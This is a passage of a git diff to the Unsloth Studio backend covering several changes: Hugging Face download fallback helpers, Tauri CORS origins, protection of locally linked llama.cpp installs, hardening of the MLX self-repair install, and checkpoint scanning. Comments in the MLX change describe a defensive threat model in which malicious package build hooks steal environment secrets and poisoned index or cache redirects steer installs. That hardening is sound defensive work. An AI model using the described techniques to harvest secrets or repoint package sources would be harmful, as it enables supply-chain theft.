-            # Reset unless .incomplete confirms an active download, so model init
-            # and lock waits are not counted as a stall.
-            if not has_incomplete:
-                last_change = now
-            elif now - last_change >= stall_timeout:
-                if not fired:
-                    fired = True
-                    on_stall(
-                        f"Download appears stalled ({transport} transport) "
-                        f"-- no progress for {int(now - last_change)}s"
-                    )
-                return
+    def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
+        return cancel_event is not None and cancel_event.is_set()
 
-            if on_heartbeat is not None:
-                on_heartbeat(f"Downloading ({transport} transport)...")
+    def _shared_hf_hub_download_with_xet_fallback(
+        repo_id: str,
+        filename: str,
+        token: Optional[str],
+        *,
+        repo_type: str = "model",
+        revision: Optional[str] = None,
+        cache_dir: Optional[str] = None,
+        force_download: bool = False,
+        cancel_event: "Optional[threading.Event]" = None,
+        **_ignored: Any,
+    ) -> str:
+        # Keep the cancellation contract: do not start or return a download once cancelled.
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
 
-    threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start()
-    return stop
-
-
-def _download_child_entry(
-    *,
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    repo_type: str,
-    disable_xet: bool,
-    result_queue: Any,
-) -> None:
-    """Spawn-child entrypoint: download one file and report the result.
-
-    Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub,
-    forms its own process group so the parent can kill the whole transfer, and
-    never logs the token or signed URLs.
-    """
-    # Die with Studio on Linux (this mp child gets no parent-set preexec_fn).
-    try:
-        from utils.process_lifetime import bind_current_process_to_parent_lifetime
-        bind_current_process_to_parent_lifetime()
-    except Exception:
-        pass
-
-    if hasattr(os, "setsid"):
-        try:
-            os.setsid()
-        except OSError:
-            pass
-
-    if disable_xet:
-        os.environ["HF_HUB_DISABLE_XET"] = "1"
-        # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse
-        # partials a sequential resume cannot safely continue).
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
-    os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
-
-    # Test-only fault injection (never set in production): stall the Xet attempt
-    # so the watchdog + HTTP fallback can be exercised against a real repo.
-    if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1":
-        import time as _t
-        try:
-            from huggingface_hub.constants import HF_HUB_CACHE
-
-            blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs")
-            os.makedirs(blobs, exist_ok = True)
-            with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh:
-                fh.write(b"\0" * 4096)
-        except OSError:
-            pass
-        while True:
-            _t.sleep(3600)
-
-    try:
         from huggingface_hub import hf_hub_download
+
         path = hf_hub_download(
             repo_id = repo_id,
             filename = filename,
-            repo_type = repo_type,
             token = token,
+            repo_type = repo_type,
+            revision = revision,
+            cache_dir = cache_dir,
+            force_download = force_download,
         )
-        result_queue.put({"ok": True, "path": path})
-    except BaseException as e:  # noqa: BLE001 - report every failure to the parent
-        error = f"{type(e).__name__}: {e}"
-        try:
-            from hub.utils.download_registry import scrub_secrets
-            error = scrub_secrets(error, hf_token = token)
-        except Exception:
-            pass
-        result_queue.put({"ok": False, "error": error})
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
+        return path
 
+    def _shared_snapshot_download_with_xet_fallback(
+        repo_id: str,
+        *,
+        revision: Optional[str] = None,
+        token: Optional[str] = None,
+        repo_type: str = "model",
+        cache_dir: Optional[str] = None,
+        allow_patterns: Optional[Any] = None,
+        ignore_patterns: Optional[Any] = None,
+        force_download: bool = False,
+        cancel_event: "Optional[threading.Event]" = None,
+        **_ignored: Any,
+    ) -> str:
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
 
-def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None:
-    """Kill *proc* and its whole process group (Xet may spawn helper procs).
+        from huggingface_hub import snapshot_download
 
-    The child calls ``os.setsid()`` so its pgid equals its pid; signal via
-    ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a
-    group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*.
-    """
-    pid = proc.pid
-
-    def _signal_group(sig: int) -> None:
-        if pid is not None and hasattr(os, "killpg"):
-            try:
-                os.killpg(pid, sig)
-                return
-            except (ProcessLookupError, PermissionError, OSError):
-                pass
-        # Windows or pre-setsid: best effort on the single process.
-        try:
-            proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill()
-        except Exception:
-            pass
-
-    _signal_group(getattr(signal, "SIGTERM", signal.SIGINT))
-    proc.join(timeout = grace_period)
-    if proc.is_alive():
-        _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM))
-        proc.join(timeout = 5.0)
-
-
-def _run_download_attempt(
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    *,
-    repo_type: str,
-    disable_xet: bool,
-    cancel_event: Optional[threading.Event],
-    stall_timeout: float,
-    interval: float,
-    grace_period: float,
-    on_status: Optional[Callable[[str], None]],
-) -> tuple[str, Optional[str]]:
-    """Run one download in a spawn child supervised by the no-progress watchdog.
-
-    Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or
-    ``("error", message)``. This is the seam tests monkeypatch to avoid spawning.
-    """
-    result_queue: Any = _CTX.Queue()
-    proc = _CTX.Process(
-        target = _download_child_entry,
-        kwargs = dict(
+        path = snapshot_download(
             repo_id = repo_id,
-            filename = filename,
-            token = token,
             repo_type = repo_type,
-            disable_xet = disable_xet,
-            result_queue = result_queue,
-        ),
-        daemon = True,
-    )
-    proc.start()
-    from utils.process_lifetime import adopt_pid
-
-    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
-
-    stalled = threading.Event()
-    stop_watchdog = start_watchdog(
-        repo_ids = [repo_id],
-        on_stall = lambda msg: stalled.set(),
-        repo_type = repo_type,
-        interval = interval,
-        stall_timeout = stall_timeout,
-        xet_disabled = disable_xet,
-        on_heartbeat = on_status,
-    )
-
-    result: Optional[dict] = None
-    try:
-        while proc.is_alive():
-            if cancel_event is not None and cancel_event.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("cancelled", None)
-            if stalled.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("stall", None)
-            try:
-                result = result_queue.get(timeout = _POLL_INTERVAL)
-                break
-            except queue.Empty:
-                continue
-        else:
-            # Process exited; drain any result it enqueued.
-            try:
-                result = result_queue.get_nowait()
-            except queue.Empty:
-                result = None
-    finally:
-        stop_watchdog.set()
-        proc.join(timeout = grace_period)
-
-    if result is None:
-        return (
-            "error",
-            f"download process for '{repo_id}/{filename}' exited "
-            f"(code={proc.exitcode}) without a result",
+            revision = revision,
+            token = token,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
+            force_download = force_download,
         )
-    if result.get("ok"):
-        return ("ok", result["path"])
-    return ("error", result.get("error") or "unknown download error")
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
+        return path
+
+
+__all__ = [
+    "DEFAULT_GRACE_PERIOD",
+    "DEFAULT_HEARTBEAT_INTERVAL",
+    "DEFAULT_STALL_TIMEOUT",
+    "DownloadStallError",
+    "child_should_disable_xet",
+    "get_hf_download_state",
+    "start_watchdog",
+    "hf_hub_download_with_xet_fallback",
+    "snapshot_download_with_xet_fallback",
+]
+
+
+def _studio_prepare_for_http(repo_type: str, repo_id: str) -> None:
+    """Studio's marker-aware purge before an HTTP resume, keeping the download manager's ``.transport``
+    accounting consistent (vs unsloth_zoo's generic default). Guarded: a purge failure is logged,
+    not fatal to the retry."""
+    try:
+        from hub.utils.download_registry import prepare_cache_for_transport
+        prepare_cache_for_transport(repo_type, repo_id, "http")
+    except Exception as exc:
+        try:
+            from loggers import get_logger
+            get_logger(__name__).debug(
+                "Studio prepare_cache_for_transport failed for %s: %s", repo_id, exc
+            )
+        except ModuleNotFoundError as logger_exc:
+            if logger_exc.name != "loggers":
+                raise
 
 
 def hf_hub_download_with_xet_fallback(
@@ -341,75 +208,32 @@ def hf_hub_download_with_xet_fallback(
     *,
     cancel_event: Optional[threading.Event] = None,
     repo_type: str = "model",
+    revision: Optional[str] = None,
     stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
     grace_period: float = DEFAULT_GRACE_PERIOD,
     on_status: Optional[Callable[[str], None]] = None,
+    force_download: bool = False,
 ) -> str:
-    """Download a single file with Xet primary and HTTP as a stall-only fallback.
+    """Single-file download via the shared fallback with Studio's marker-aware HTTP-retry prep.
+    ``force_download`` re-fetches a newer blob over a cached one (Studio's model-update path)."""
+    return _shared_hf_hub_download_with_xet_fallback(
+        repo_id,
+        filename,
+        token,
+        cancel_event = cancel_event,
+        repo_type = repo_type,
+        revision = revision,
+        stall_timeout = stall_timeout,
+        interval = interval,
+        grace_period = grace_period,
+        on_status = on_status,
+        force_download = force_download,
+        prepare_for_http_fn = _studio_prepare_for_http,
+    )
 
-    Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
-    *cancel_event* is set, re-raises a deterministic child error unchanged (no
-    fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
-    """
-    # Finalized blob already cached: return it with no child and no network.
-    try:
-        from huggingface_hub import try_to_load_from_cache
-        cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
-        if isinstance(cached, str) and os.path.exists(cached):
-            return cached
-    except Exception as e:
-        logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
 
-    if cancel_event is not None and cancel_event.is_set():
-        raise RuntimeError("Cancelled")
-
-    disable_xet = False
-    for attempt in range(2):
-        if disable_xet:
-            # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume
-            # over a sparse Xet/hf_transfer partial silently corrupts the blob.
-            try:
-                from hub.utils.download_registry import prepare_cache_for_transport
-                prepare_cache_for_transport(repo_type, repo_id, "http")
-            except Exception as e:
-                logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e)
-
-        kind, payload = _run_download_attempt(
-            repo_id,
-            filename,
-            token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            cancel_event = cancel_event,
-            stall_timeout = stall_timeout,
-            interval = interval,
-            grace_period = grace_period,
-            on_status = on_status,
-        )
-
-        if kind == "ok":
-            return payload  # type: ignore[return-value]
-        if kind == "cancelled":
-            raise RuntimeError("Cancelled")
-        if kind == "error":
-            # Deterministic failure: the other transport would fail identically.
-            raise RuntimeError(payload)
-        # kind == "stall"
-        if attempt == 0 and not disable_xet:
-            logger.warning(
-                "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1",
-                repo_id,
-                filename,
-            )
-            if on_status is not None:
-                on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP")
-            disable_xet = True
-            continue
-        raise DownloadStallError(
-            f"Download stalled for '{repo_id}/{filename}' even with "
-            f"HF_HUB_DISABLE_XET=1 -- check your network connection"
-        )
-
-    # Unreachable: the loop either returns or raises on each attempt.
-    raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'")
+def snapshot_download_with_xet_fallback(repo_id: str, **kwargs: Any) -> str:
+    """Whole-repo download via the shared fallback with Studio's marker-aware HTTP-retry prep."""
+    kwargs.setdefault("prepare_for_http_fn", _studio_prepare_for_http)
+    return _shared_snapshot_download_with_xet_fallback(repo_id, **kwargs)
diff --git a/studio/backend/utils/host_policy.py b/studio/backend/utils/host_policy.py
index bd9ebd68ba..f506eadc03 100644
--- a/studio/backend/utils/host_policy.py
+++ b/studio/backend/utils/host_policy.py
@@ -34,6 +34,26 @@ def is_external_host(host: str) -> bool:
     return host.lower() not in _LOOPBACK_HOSTS
 
 
+# Tauri desktop webview origins. api-only serving (the desktop app calling a
+# local backend) locks CORS to these.
+_TAURI_CORS_ORIGINS = (
+    "tauri://localhost",  # Linux/macOS Tauri webview
+    "http://tauri.localhost",  # Windows Tauri webview
+    "http://localhost",  # dev fallback
+    "http://localhost:5173",  # Tauri dev/Vite
+    "http://127.0.0.1:5173",  # Tauri dev/Vite fallback
+)
+
+
+def cors_origins_for_mode(*, api_only: bool, secure: bool) -> list[str]:
+    """Allowed CORS origins. Default is any-origin (["*"]); api-only locks down
+    to the Tauri desktop app, except in secure mode where the API is published
+    over Cloudflare and must stay reachable from remote browser origins."""
+    if api_only and not secure:
+        return list(_TAURI_CORS_ORIGINS)
+    return ["*"]
+
+
 def apply_stdio_mcp_loopback_default(host: str, *, is_colab: bool = False) -> None:
     """Default stdio MCP servers on when bound to loopback.
 
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 8648b053d5..c16ae91467 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
     }
 
 
+def _is_external_link(path: Optional[Path]) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, so Studio must never auto-update it."""
+    if path is None:
+        return False
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
+def _active_install_is_local_link(binary: Optional[str]) -> bool:
+    """True when the active llama-server resolves through a --with-llama-cpp-dir
+    local link at the canonical llama.cpp directory. An update would write
+    through that link into the user's own checkout (or fail), so the install is
+    treated as externally managed: no update is offered or applied. Checks only
+    up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root
+    above it can't trip a false positive."""
+    if not binary:
+        return False
+    for parent in Path(binary).parents:
+        if _is_external_link(parent):
+            return True
+        if parent.name == "llama.cpp":
+            break
+    return False
+
+
+def _local_link_status() -> dict:
+    """Status payload for a local-link install: unmanaged, no update offered."""
+    with _job_lock:
+        job = dict(_job)
+    return {
+        "supported": False,
+        "update_available": False,
+        "stale": False,
+        "installed_tag": None,
+        "latest_tag": None,
+        "published_repo": None,
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": False,
+        "local_link": True,
+        "update_size_bytes": None,
+        "job": job,
+    }
+
+
 def get_update_status(*, force_refresh: bool = False) -> dict:
     """Report whether a newer prebuilt exists plus the current job state.
 
     force_refresh bypasses the 24h release cache for an explicit "check now".
     """
     binary = _find_binary()
+    # A --with-llama-cpp-dir local link is the user's own tree; never offer to
+    # replace it. Bail before any network/freshness work.
+    if _active_install_is_local_link(binary):
+        return _local_link_status()
     marker = read_install_marker(binary)
 
     with _job_lock:
@@ -537,6 +599,19 @@ def start_update() -> dict:
     """Kick off a background update. Idempotent: a second call while one is
     running returns the in-flight job rather than starting another."""
     binary = _find_binary()
+    # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt
+    # here would write through the link into the user's own checkout (or fail)
+    # and silently drop the link the flag created.
+    if _active_install_is_local_link(binary):
+        return {
+            "started": False,
+            "reason": "local_link",
+            "message": (
+                "llama.cpp is a local directory linked with --with-llama-cpp-dir; "
+                "Studio won't replace it. Update your own llama.cpp checkout instead."
+            ),
+            "job": get_update_status()["job"],
+        }
     marker = read_install_marker(binary)
     script = _installer_script()
     if script is None:
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 06d0289166..7e1c9864c9 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -36,6 +36,8 @@ from pathlib import Path
 
 import structlog
 
+from utils.uv_path_safety import uv_safe_path
+
 logger = structlog.get_logger(__name__)
 
 DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
@@ -43,12 +45,74 @@ DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
 # deps). mlx-vlm especially must be >=0.4.4: an older one still imports but
 # breaks VLM Train/Export, so installing it would wrongly clear chat-only.
 _MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"}
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so a self-heal must not pull it. mlx-lm #1242.
+_MLX_BAD_VERSIONS = {"mlx-lm": ("0.31.3",)}
 _MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)
 _MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")
-MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS.items())
+
+
+def _mlx_spec(name: str, version: str) -> str:
+    spec = f"{name}>={version}"
+    for bad in _MLX_BAD_VERSIONS.get(name, ()):
+        spec += f",!={bad}"
+    return spec
+
+
+MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items())
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
+# Require pre-built wheels for the unattended self-heal. A source distribution's
+# PEP 517 build backend runs arbitrary code at install time, and this install is
+# default-on, resolver-driven, and runs before the post-install stack check can
+# reject anything. mlx/mlx-metal ship wheels only (no sdist on PyPI) and
+# mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels does not break a
+# healthy self-heal; if a wheel is genuinely unavailable the install fails and
+# Studio stays chat-only (the existing safe fallback) until `unsloth studio update`.
+_ONLY_BINARY_ARG = "--only-binary=:all:"
+# Allowlist of environment variables forwarded to the install subprocess. The
+# self-heal runs without confirmation on the default startup path, so it must not
+# hand resolver/build code the full Studio environment. Everything outside this
+# set is dropped, which excludes three dangerous classes by construction:
+#   * secrets (HF_TOKEN, AWS_*, WANDB_API_KEY, ...) that a malicious wheel/sdist
+#     build hook would otherwise read straight out of os.environ;
+#   * package-source redirects (UV_INDEX*, UV_DEFAULT_INDEX, UV_FIND_LINKS,
+#     PIP_INDEX_URL, ...) so a poisoned process env cannot silently repoint the
+#     install at an attacker-controlled index/find-links;
+#   * cache-dir redirects (UV_CACHE_DIR, XDG_CACHE_HOME) so a poisoned env cannot
+#     point uv at an attacker-staged cache (cache poisoning / symlink writes). uv
+#     falls back to its safe user-owned default cache, reused across runs anyway.
+# uv still honours on-disk config (uv.toml / pip.conf), so a corporate mirror
+# configured there keeps working; only process-env redirects are dropped. We set
+# UV_OVERRIDE ourselves in _mlx_install_env, so a poisoned one here is ignored.
+_MLX_ENV_ALLOWLIST = frozenset(
+    {
+        "PATH",
+        "HOME",
+        "USER",
+        "LOGNAME",
+        "TMPDIR",
+        "TMP",
+        "TEMP",
+        "LANG",
+        "LC_ALL",
+        "LC_CTYPE",
+        # proxies + custom CA bundles so installs behind a corporate gateway work
+        "HTTP_PROXY",
+        "HTTPS_PROXY",
+        "NO_PROXY",
+        "ALL_PROXY",
+        "http_proxy",
+        "https_proxy",
+        "no_proxy",
+        "all_proxy",
+        "SSL_CERT_FILE",
+        "SSL_CERT_DIR",
+        "REQUESTS_CA_BUNDLE",
+        "CURL_CA_BUNDLE",
+    }
+)
 _REPAIR_TIMEOUT_S = 900
 
 # Attempt at most once per process; success is sticky (mlx then imports and the
@@ -88,7 +152,12 @@ def _mlx_versions_satisfy_minimums() -> bool:
         return False
     for name, minimum in _MLX_MIN_VERSIONS.items():
         try:
-            if Version(_dist_version(name)) < Version(minimum):
+            installed = Version(_dist_version(name))
+            if installed < Version(minimum):
+                return False
+            # A known-broken build counts as unsatisfied so the self-heal
+            # reinstalls a good one; Version compare matches 0.31.3(.0/+local).
+            if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())):
                 return False
         except PackageNotFoundError:
             return False
@@ -134,13 +203,22 @@ def _uv_install_cmd(*args: str) -> list[str] | None:
 
 
 def _mlx_install_env() -> dict[str, str]:
-    """Environment for the mlx install. Mirror the main installer
-    (install_python_stack.py) by pointing UV_OVERRIDE at overrides-darwin-arm64.txt,
-    which relaxes mlx-vlm/mlx-lm's transformers>=5 requirement to >=4.57.6. Without
-    it, uv keeps the Studio transformers pin only by silently backtracking mlx-vlm
-    to an old, unsupported version (uv honours UV_OVERRIDE; plain pip ignores it,
-    so the transformers constraint below is the pip-path safety net)."""
-    env = dict(os.environ)
+    """Minimal, allowlisted environment for the unattended mlx install.
+
+    The self-heal runs without confirmation on the default startup path, so it
+    forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead
+    of the full Studio environment: secrets and package-source redirects in
+    os.environ are dropped so a malicious resolver-selected artifact cannot read
+    Studio secrets or be steered to a hostile index.
+
+    Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at
+    overrides-darwin-arm64.txt, which relaxes mlx-vlm/mlx-lm's transformers>=5
+    requirement to >=4.57.6. Without it, uv keeps the Studio transformers pin only
+    by silently backtracking mlx-vlm to an old, unsupported version (uv honours
+    UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the
+    pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the
+    process env is ignored."""
+    env = {key: os.environ[key] for key in _MLX_ENV_ALLOWLIST if key in os.environ}
     override = (
         Path(__file__).resolve().parents[1]
         / "requirements"
@@ -148,7 +226,8 @@ def _mlx_install_env() -> dict[str, str]:
         / "overrides-darwin-arm64.txt"
     )
     if override.is_file():
-        env.setdefault("UV_OVERRIDE", str(override))
+        # uv truncates UV_OVERRIDE at the first space (issue #6503).
+        env.setdefault("UV_OVERRIDE", uv_safe_path(override))
     return env
 
 
@@ -191,7 +270,13 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:
     constraint_path = None
     try:
         constraint_args, constraint_path = _transformers_constraint_args()
-        cmd = _uv_install_cmd("--upgrade", *_MLX_REINSTALL_ARGS, *constraint_args, *MLX_PACKAGES)
+        cmd = _uv_install_cmd(
+            "--upgrade",
+            _ONLY_BINARY_ARG,
+            *_MLX_REINSTALL_ARGS,
+            *constraint_args,
+            *MLX_PACKAGES,
+        )
         if cmd is None:
             logger.warning(
                 "MLX self-heal requires uv so Studio can apply dependency overrides; "
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index 5a992926ec..90e26d45d0 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -4,14 +4,124 @@
 """Checkpoint scanning utilities for discovering training runs and checkpoints."""
 
 import json
+import re
 import structlog
 from loggers import get_logger
 from pathlib import Path
 from typing import List, Optional, Tuple
+from storage.studio_db import get_connection
+from utils.training_runs import (
+    build_default_output_dir_name,
+    extract_project_name,
+    model_segment_from_default_output_dir_name,
+)
 from utils.paths import outputs_root, resolve_output_dir
 
 logger = get_logger(__name__)
 
+_CHECKPOINT_STEP_RE = re.compile(r"^checkpoint-(\d+)$")
+
+
+def _checkpoint_step(checkpoint_name: str) -> Optional[int]:
+    match = _CHECKPOINT_STEP_RE.fullmatch(checkpoint_name)
+    if match is None:
+        return None
+    return int(match.group(1))
+
+
+def _checkpoint_sort_key(checkpoint_path: Path) -> tuple[int, int, str]:
+    step = _checkpoint_step(checkpoint_path.name)
+    if step is not None:
+        return (0, -step, checkpoint_path.name)
+    return (1, 0, str(checkpoint_path))
+
+
+def _infer_base_model_from_history(checkpoint_dir: Path) -> Optional[str]:
+    """Best-effort base-model lookup using persisted Studio run metadata."""
+    checkpoint_name = checkpoint_dir.name
+    resolved_checkpoint_dir = str(checkpoint_dir.resolve())
+
+    try:
+        conn = get_connection()
+    except Exception:
+        return None
+
+    try:
+        exact_rows = conn.execute(
+            """
+            SELECT model_name
+            FROM training_runs
+            WHERE output_dir IN (?, ?)
+            ORDER BY started_at DESC
+            """,
+            (
+                resolved_checkpoint_dir,
+                str(checkpoint_dir),
+            ),
+        ).fetchall()
+        for row in exact_rows:
+            model_name = row["model_name"]
+            if model_name:
+                return model_name
+
+        suffix_rows = conn.execute(
+            """
+            SELECT model_name, output_dir
+            FROM training_runs
+            WHERE output_dir IS NOT NULL
+            ORDER BY started_at DESC
+            """
+        ).fetchall()
+        for row in suffix_rows:
+            output_dir = str(row["output_dir"] or "").rstrip("/\\")
+            if not (
+                output_dir.endswith(f"/{checkpoint_name}")
+                or output_dir.endswith(f"\\{checkpoint_name}")
+            ):
+                continue
+            model_name = row["model_name"]
+            if model_name:
+                return model_name
+
+        parts = checkpoint_name.rsplit("_", 1)
+        if len(parts) != 2 or not parts[1].isdigit():
+            return None
+
+        timestamp = int(parts[1])
+        generated_rows = conn.execute(
+            """
+            SELECT model_name, config_json
+            FROM training_runs
+            ORDER BY started_at DESC
+            """
+        ).fetchall()
+        for row in generated_rows:
+            model_name = row["model_name"]
+            if not model_name:
+                continue
+
+            project_name = None
+            config_json = row["config_json"]
+            if config_json:
+                try:
+                    project_name = extract_project_name(json.loads(config_json))
+                except (TypeError, json.JSONDecodeError):
+                    project_name = None
+
+            expected_dir_name = build_default_output_dir_name(
+                model_name,
+                project_name,
+                timestamp = timestamp,
+            )
+            if expected_dir_name == checkpoint_name:
+                return model_name
+    except Exception:
+        return None
+    finally:
+        conn.close()
+
+    return None
+
 
 def _read_checkpoint_loss(checkpoint_path: Path) -> Optional[float]:
     """Read loss from the last log_history entry of trainer_state.json, or None."""
@@ -37,8 +147,10 @@ def scan_checkpoints(
     Returns:
         [(model_name, [(display_name, checkpoint_path, loss), ...], metadata), ...]
         metadata keys (optional): base_model, peft_type, lora_rank.
-        First checkpoint entry is the main adapter; its loss mirrors the last
-        (highest-step) intermediate checkpoint.
+        First checkpoint entry is the main adapter; its loss mirrors the latest
+        (highest-step) intermediate checkpoint. Numbered checkpoints are sorted
+        by numeric step descending; non-numbered checkpoint-* dirs keep the
+        previous lexicographic directory order.
     """
     models = []
     outputs_path = resolve_output_dir(outputs_dir)
@@ -87,9 +199,11 @@ def scan_checkpoints(
             # Fallback: extract base model name from the folder name, e.g.
             # "unsloth_Llama-3.2-3B-Instruct_1771227800" → "unsloth/Llama-3.2-3B-Instruct"
             if not metadata.get("base_model"):
-                parts = item.name.rsplit("_", 1)
-                if len(parts) == 2 and parts[1].isdigit():
-                    name_part = parts[0]
+                metadata["base_model"] = _infer_base_model_from_history(item)
+
+            if not metadata.get("base_model"):
+                name_part = model_segment_from_default_output_dir_name(item.name)
+                if name_part:
                     idx = name_part.find("_")
                     if idx > 0:
                         metadata["base_model"] = name_part[:idx] + "/" + name_part[idx + 1 :]
@@ -103,18 +217,25 @@ def scan_checkpoints(
             checkpoints.append((item.name, str(item), None))
 
             # Scan for intermediate checkpoints (checkpoint-N subdirs).
-            for sub in sorted(item.iterdir()):
+            valid_checkpoints = []
+            for sub in item.iterdir():
                 if not sub.is_dir() or not sub.name.startswith("checkpoint-"):
                     continue
                 sub_config = sub / "config.json"
                 sub_adapter = sub / "adapter_config.json"
                 if sub_config.exists() or sub_adapter.exists():
-                    loss = _read_checkpoint_loss(sub)
-                    checkpoints.append((sub.name, str(sub), loss))
+                    valid_checkpoints.append(sub)
 
-            # Assign the last checkpoint's loss to the main adapter entry.
-            if len(checkpoints) > 1:
-                last_checkpoint_loss = checkpoints[-1][2]
+            intermediate_checkpoints = []
+            for sub in sorted(valid_checkpoints, key = _checkpoint_sort_key):
+                loss = _read_checkpoint_loss(sub)
+                intermediate_checkpoints.append((sub.name, str(sub), loss))
+
+            checkpoints.extend(intermediate_checkpoints)
+
+            # Assign the latest checkpoint's loss to the main adapter entry.
+            if intermediate_checkpoints:
+                last_checkpoint_loss = intermediate_checkpoints[0][2]
                 checkpoints[0] = (
                     checkpoints[0][0],
                     checkpoints[0][1],
@@ -133,3 +254,64 @@ def scan_checkpoints(
     except Exception as e:
         logger.error(f"Error scanning checkpoints: {e}")
         return []
+
+
+def _is_model_dir(path: Path) -> bool:
+    return (path / "config.json").exists() or (path / "adapter_config.json").exists()
+
+
+def has_preview_model(output_dir: Optional[str]) -> bool:
+    """True when ``output_dir`` holds a previewable root model (what ``/p/{run}``
+    resolves). A cancelled run keeps ``output_dir`` but saves no root adapter."""
+    if not output_dir:
+        return False
+    path = Path(output_dir)
+    return path.is_dir() and _is_model_dir(path)
+
+
+def preview_ref(output_dir: Optional[str]) -> Optional[str]:
+    """``/p`` ref (``run`` or ``run/checkpoint``) relative to outputs_root, or None.
+
+    Posix-joined so a nested output dir keeps a working link instead of collapsing
+    to its basename. None when not previewable, outside outputs_root, or deeper than
+    the two path segments the ``/p`` route matches (so the UI omits a dead link).
+    """
+    if not has_preview_model(output_dir):
+        return None
+    try:
+        rel = Path(output_dir).resolve().relative_to(outputs_root().resolve())
+    except (ValueError, OSError):
+        return None
+    parts = rel.parts
+    if not parts or len(parts) > 2:
+        return None
+    return "/".join(parts)
+
+
+def resolve_preview_checkpoint(run: str, checkpoint: Optional[str] = None) -> Path:
+    relative = run if not checkpoint else f"{run}/{checkpoint}"
+    path = resolve_output_dir(relative)
+    if not path.is_dir() or not _is_model_dir(path):
+        raise FileNotFoundError(
+            f"No trained checkpoint at '{relative}'. Check the run/checkpoint name (see GET /p)."
+        )
+    return path
+
+
+def list_preview_targets(outputs_dir: str = str(outputs_root())) -> List[dict]:
+    targets: List[dict] = []
+    for run_name, checkpoints, metadata in scan_checkpoints(outputs_dir):
+        for display_name, path, loss in checkpoints:
+            is_latest = display_name == run_name
+            checkpoint = None if is_latest else Path(path).name
+            targets.append(
+                {
+                    "run": run_name,
+                    "checkpoint": checkpoint,
